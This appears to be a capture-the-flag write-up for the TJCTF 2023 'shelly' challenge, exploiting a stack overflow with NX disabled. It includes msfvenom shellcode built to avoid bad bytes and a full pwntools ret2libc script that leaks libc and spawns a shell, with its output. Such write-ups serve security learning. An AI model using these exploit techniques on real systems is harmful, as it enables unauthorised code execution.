sally sells seashells by the seashore sally sells seashells by the seashore sally sells seashells by the seashore sally sells seashells by the seashore sally sells seashells by the seashore
TL;DR
Classic ret2shellcode with bad bytes. Alternatively, with NX disabled, it is also possible to Bring Your Own ROP gadget to perform ret2libc attack.
Basic File Checks
At first glance, running the binary returns an unknown address that randomizes on each execution.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./shelly
0x7ffcdb8739e0
test
ok
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./shelly
0x7fffa170a2b0
test
ok
Further enumeration shows that NX is disabled, meaning we can inject any arbitrary shellcode.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=shelly
[*] '/home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Static Code Analysis
Turns out, the address returned is the address of buffer local_108 allocated on runtime. This is an obvious ret2shellcode attack simply due to 3 conditions:
NX Disabled: Our input stored in the .data section is marked as an executable region. This allows us to jump to the custom shellcode stored on the stack or in a global variable.
Address of Buffer: The base address of our input/buffer is a known value, which allows us to overwrite the Instruction Pointer with it.
Buffer Overflow:fgets takes in 512 (0x200) characters from stdin, which overflows the buffer[256], meaning an attacker can control the execution flow of the program via the EIP.
The twists here is that, before executing the shellcode on the buffer, it will check for 2 specific bad bytes: \x0f & \x05 and exit immediately if they are present.
undefined8 main(void){char local_108 [256];setbuf(stdout,(char*)0x0);printf("0x%lx\n",local_108);fgets(local_108,0x200,stdin); i =0;while( true ) {if ((0x1fe< i) || (local_108[i] =='\0')) {puts("ok");return0; }if ((local_108[i] =='\x0f') && (local_108[i +1] =='\x05')) break; i = i +1; }puts("nonono"); /* WARNING: Subroutine does not return */exit(1);}
Finding Offset
Using de Brujin Sequence and pwndbg to locate the offset.
pwndbg> cyclic 300
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
pwndbg> run
Starting program: /home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x7fffffffdca0
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
ok
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401256 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────
RAX 0x0
*RBX 0x7fffffffdeb8 —▸ 0x7fffffffe202 ◂— '/home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly'
*RCX 0x7ffff7ec30e0 (write+16) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX 0x1
*RDI 0x7ffff7f9fa10 (_IO_stdfile_1_lock) ◂— 0x0
*RSI 0x1
*R8 0x4053cd ◂— 0x0
*R9 0x21001
*R10 0x7ffff7dd4fd8 ◂— 0x10002200006647 /* 'Gf' */
*R11 0x202
R12 0x0
*R13 0x7fffffffdec8 —▸ 0x7fffffffe236 ◂— 'COLORFGBG=15;0'
*R14 0x403df0 —▸ 0x401130 ◂— endbr64
*R15 0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
*RBP 0x6261616161616168 ('haaaaaab')
*RSP 0x7fffffffdda8 ◂— 'iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
*RIP 0x401256 (main+240) ◂— ret
pwndbg> cyclic -l iaaaaaab
Finding cyclic pattern of 8 bytes: b'iaaaaaab' (hex: 0x6961616161616162)
Found at offset 264
Generating Shellcode
Using msfvenom, we can specify these bad bytes to exclude them from our shellcode.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ msfvenom -p linux/x64/exec CMD="cat flag.txt" -b '\x0f\x05' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 4 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=47, char=0x0f)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor failed with Encoding failed due to a bad character (index=12, char=0x05)
Attempting to encode payload with 1 iterations of x64/xor_context
x64/xor_context failed with Encoding failed due to a bad character (index=7, char=0x0f)
Attempting to encode payload with 1 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 99 (iteration=0)
x64/xor_dynamic chosen with final size 99
Payload size: 99 bytes
Final size of python file: 506 bytes
buf = b""
buf += b"\xeb\x27\x5b\x53\x5f\xb0\xab\xfc\xae\x75\xfd\x57"
buf += b"\x59\x53\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff"
buf += b"\xc6\x66\x81\x3f\xb7\x08\x74\x07\x80\x3e\xab\x75"
buf += b"\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff\xff\x01\xab"
buf += b"\x49\xb9\x2e\x63\x68\x6f\x2e\x72\x69\x01\x98\x51"
buf += b"\x55\x5e\x53\x67\x69\x2c\x62\x55\x5f\x53\xe9\x0c"
buf += b"\x01\x01\x01\x62\x60\x75\x21\x67\x6d\x60\x66\x2f"
buf += b"\x75\x79\x75\x01\x57\x56\x55\x5f\x6b\x3a\x59\x0e"
buf += b"\x04\xb7\x08"
ret2shellcode
With everything set, overflow the buffer to divert execution flow so that it points to the start of our buffer and execute the injected shellcode.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py
[+] Opening connection to tjc.tf on port 31365: Done
[*] '/home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[*] Loaded 5 cached gadgets for './shelly'
0x7ffe127bc050
[*] Switching to interactive mode
ok
tjctf{s4lly_s3lls_s34sh3lls_50973fce}
Alternative: ret2libc
Another clever solution is to ROP around the limitations of bad bytes in our shellcode, which leads to a ret2libc attack. However, this attack would be harder without the pop rdi gadget.
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: shelly]
└─$ ropgadget shelly | grep "pop"
0x000000000040114b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401146 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x000000000040114d : pop rbp ; ret
Since NX is disabled, we can Bring Our Own Gadget to make up for the lack of gadgets.
shellcode =asm("pop rdi ; ret")
Just like a classic ret2libc attack, we will exploit the buffer overflow vulnerability once to leak puts address, then ROP a second time to pop a shell. The first ROP chain looks something like this:
Inject pop rdi gadget to the start of buffer.
Fill remaining space with junk, so that it fills up the entire 264 buffer.
Point EIP to the base address of the buffer to empty out the rdi register.
For some reason, explicit declaration of the binary architecture and context is required in this challenge for the solution to work properly. It came as a surprise because pwntools usually deals with it for us automatically.
ret2libc.py
#!/usr/bin/python3from pwn import*import warningswarnings.filterwarnings(action='ignore', category=BytesWarning)context(os='linux', arch='amd64')elf =ELF('./shelly')rop =ROP(elf)local =Falseif(local ==True): p = elf.process() libc =ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec =False)else: p =remote('tjc.tf', 31365) libc =ELF('./libc6_2.35-0ubuntu3_amd64.so', checksec =False)offset =264stack_leak =int(p.recvline().strip().ljust(8, b'\x00'), 16)print(f"{hex(stack_leak)=}")shellcode ="""pop rdi ; ret"""shellcode =asm(shellcode)payload = shellcodepayload += (offset-len(shellcode)) *b"A"payload +=p64(stack_leak)payload +=p64(elf.got.puts)payload +=p64(elf.plt.puts)payload +=p64(elf.symbols.main)p.sendline(payload)p.recvline()puts_addr =u64(p.recv(6).ljust(8, b'\x00'))print(f"{hex(puts_addr)=}")libc_base_address = puts_addr - libc.symbols['puts']p.recvline()# ignore the address of newly initialized buffer p.recvline()# because we are jumping back to mainrop =ROP(libc)system = libc_base_address + libc.symbols['system']bin_sh = libc_base_address +next(libc.search(b"/bin/sh"))pop_rdi = libc_base_address + (rop.find_gadget(['pop rdi', 'ret']))[0]ret = libc_base_address + (rop.find_gadget(['ret']))[0]payload =flat(asm('nop') * offset, pop_rdi, bin_sh, ret, system)p.sendline(payload)p.interactive()
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: shelly]
└─$ ./ret2libc.py
[*] '/home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[*] Loaded 5 cached gadgets for './shelly'
[+] Opening connection to tjc.tf on port 31365: Done
hex(stack_leak)='0x7fff42137830'
hex(puts_addr)='0x7f4b5e987ed0'
[*] Loaded 218 cached gadgets for './libc6_2.35-0ubuntu3_amd64.so'
[*] Switching to interactive mode
ok
$ ls
flag.txt
run
$ cat flag.txt
tjctf{s4lly_s3lls_s34sh3lls_50973fce}